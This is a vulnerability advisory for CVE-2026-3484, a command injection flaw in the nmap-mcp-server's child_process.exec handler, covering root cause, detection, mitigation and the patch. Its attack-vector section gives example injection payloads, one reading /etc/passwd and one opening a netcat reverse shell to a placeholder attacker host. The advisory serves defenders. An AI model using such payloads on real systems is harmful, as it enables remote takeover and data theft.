CVE-2026-3484: Phialsbasement Mcp Nmap Server RCE Flaw

CVE-2026-3484 Overview

A command injection vulnerability has been identified in PhialsBasement nmap-mcp-server, affecting versions up to commit bee6d23547d57ae02460022f7c78ac0893092e38. This vulnerability exists within the Nmap CLI Command Handler component, specifically in the child_process.exec function located in src/index.ts. Attackers can exploit this flaw remotely to inject and execute arbitrary commands on the underlying system.

Critical Impact

Remote attackers with low privileges can exploit this command injection vulnerability to execute arbitrary commands on systems running the affected nmap-mcp-server, potentially leading to full system compromise.

Affected Products

• PhialsBasement MCP Nmap Server (versions up to commit bee6d23547d57ae02460022f7c78ac0893092e38)

Discovery Timeline

• 2026-03-03 - CVE CVE-2026-3484 published to NVD
• 2026-03-05 - Last updated in NVD database

Technical Details for CVE-2026-3484

Vulnerability Analysis

This command injection vulnerability (CWE-77) stems from improper handling of user-controlled input within the Nmap CLI Command Handler component. The affected function child_process.exec in src/index.ts fails to properly sanitize or validate input before incorporating it into shell commands. This allows an attacker to craft malicious input that escapes the intended command context and executes arbitrary system commands.

The vulnerability is classified under CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component) and CWE-77 (Command Injection), indicating that the application does not adequately neutralize special elements that could be interpreted as command separators or operators by the underlying shell.

Root Cause

The root cause of this vulnerability lies in the unsafe use of child_process.exec in Node.js without proper input sanitization. When user-supplied data is passed directly to shell execution functions, attackers can inject shell metacharacters (such as ;, |, &&, or backticks) to append or substitute their own commands. The MCP server, designed to interface with Nmap for network scanning, appears to construct shell commands dynamically using unsanitized user input, enabling command injection attacks.

Attack Vector

The attack can be performed remotely over the network by authenticated users with low privileges. An attacker could send specially crafted input through the MCP server's interface that includes shell metacharacters and malicious commands. When the server processes this input and passes it to child_process.exec, the injected commands execute with the privileges of the server process.

For example, if the server constructs an Nmap command by directly concatenating user input for target hosts or scan options, an attacker could inject payloads like ; cat /etc/passwd or | nc attacker.com 4444 -e /bin/sh to exfiltrate data or establish reverse shells.

Detection Methods for CVE-2026-3484

Indicators of Compromise

• Unexpected child processes spawned by the nmap-mcp-server Node.js process
• Unusual network connections originating from the server hosting nmap-mcp-server
• Log entries showing malformed or suspicious Nmap command parameters containing shell metacharacters
• Evidence of command execution payloads in application logs or input fields

Detection Strategies

• Monitor process execution chains for anomalous child processes spawned by Node.js applications, particularly looking for shells or common attack utilities
• Implement input validation logging to capture and alert on requests containing shell metacharacters such as ;, |, &&, $(), or backticks
• Deploy application-level web application firewall (WAF) rules to detect and block command injection patterns in API requests
• Use endpoint detection and response (EDR) solutions to identify suspicious command-line arguments and process trees

Monitoring Recommendations

• Enable verbose logging for the nmap-mcp-server application to capture all incoming requests and command constructions
• Set up alerts for any network connections to unexpected external hosts from the server running the vulnerable component
• Monitor file system access patterns for unusual reads of sensitive files like /etc/passwd or credential stores
• Implement behavioral analysis to detect deviations from normal Nmap scanning patterns

How to Mitigate CVE-2026-3484

Immediate Actions Required

• Update the nmap-mcp-server to a version containing commit 30a6b9e1c7fa6146f51e28d6ab83a2568d9a3488 or later
• Review server logs for evidence of exploitation attempts or successful command injection
• Restrict network access to the MCP server to trusted sources only
• Consider temporarily disabling the service until the patch can be applied if risk is deemed unacceptable

Patch Information

The vulnerability has been addressed in commit 30a6b9e1c7fa6146f51e28d6ab83a2568d9a3488. Since this product utilizes a rolling release system, users should pull the latest version from the GitHub repository to ensure they have the patched code. The fix can be reviewed in the GitHub commit 30a6b9e. Additional context is available in GitHub Issue #7.

Workarounds

• Implement strict input validation at the application layer to reject requests containing shell metacharacters before they reach the vulnerable function
• Use network segmentation to isolate the MCP server from sensitive internal resources
• Deploy the service in a containerized environment with minimal privileges and restricted system access
• Consider using a sandboxed execution environment that limits the impact of command injection

# Pull latest patched version from repository
cd /path/to/nmap-mcp-server
git pull origin main
# Verify the patch is applied
git log --oneline | grep 30a6b9e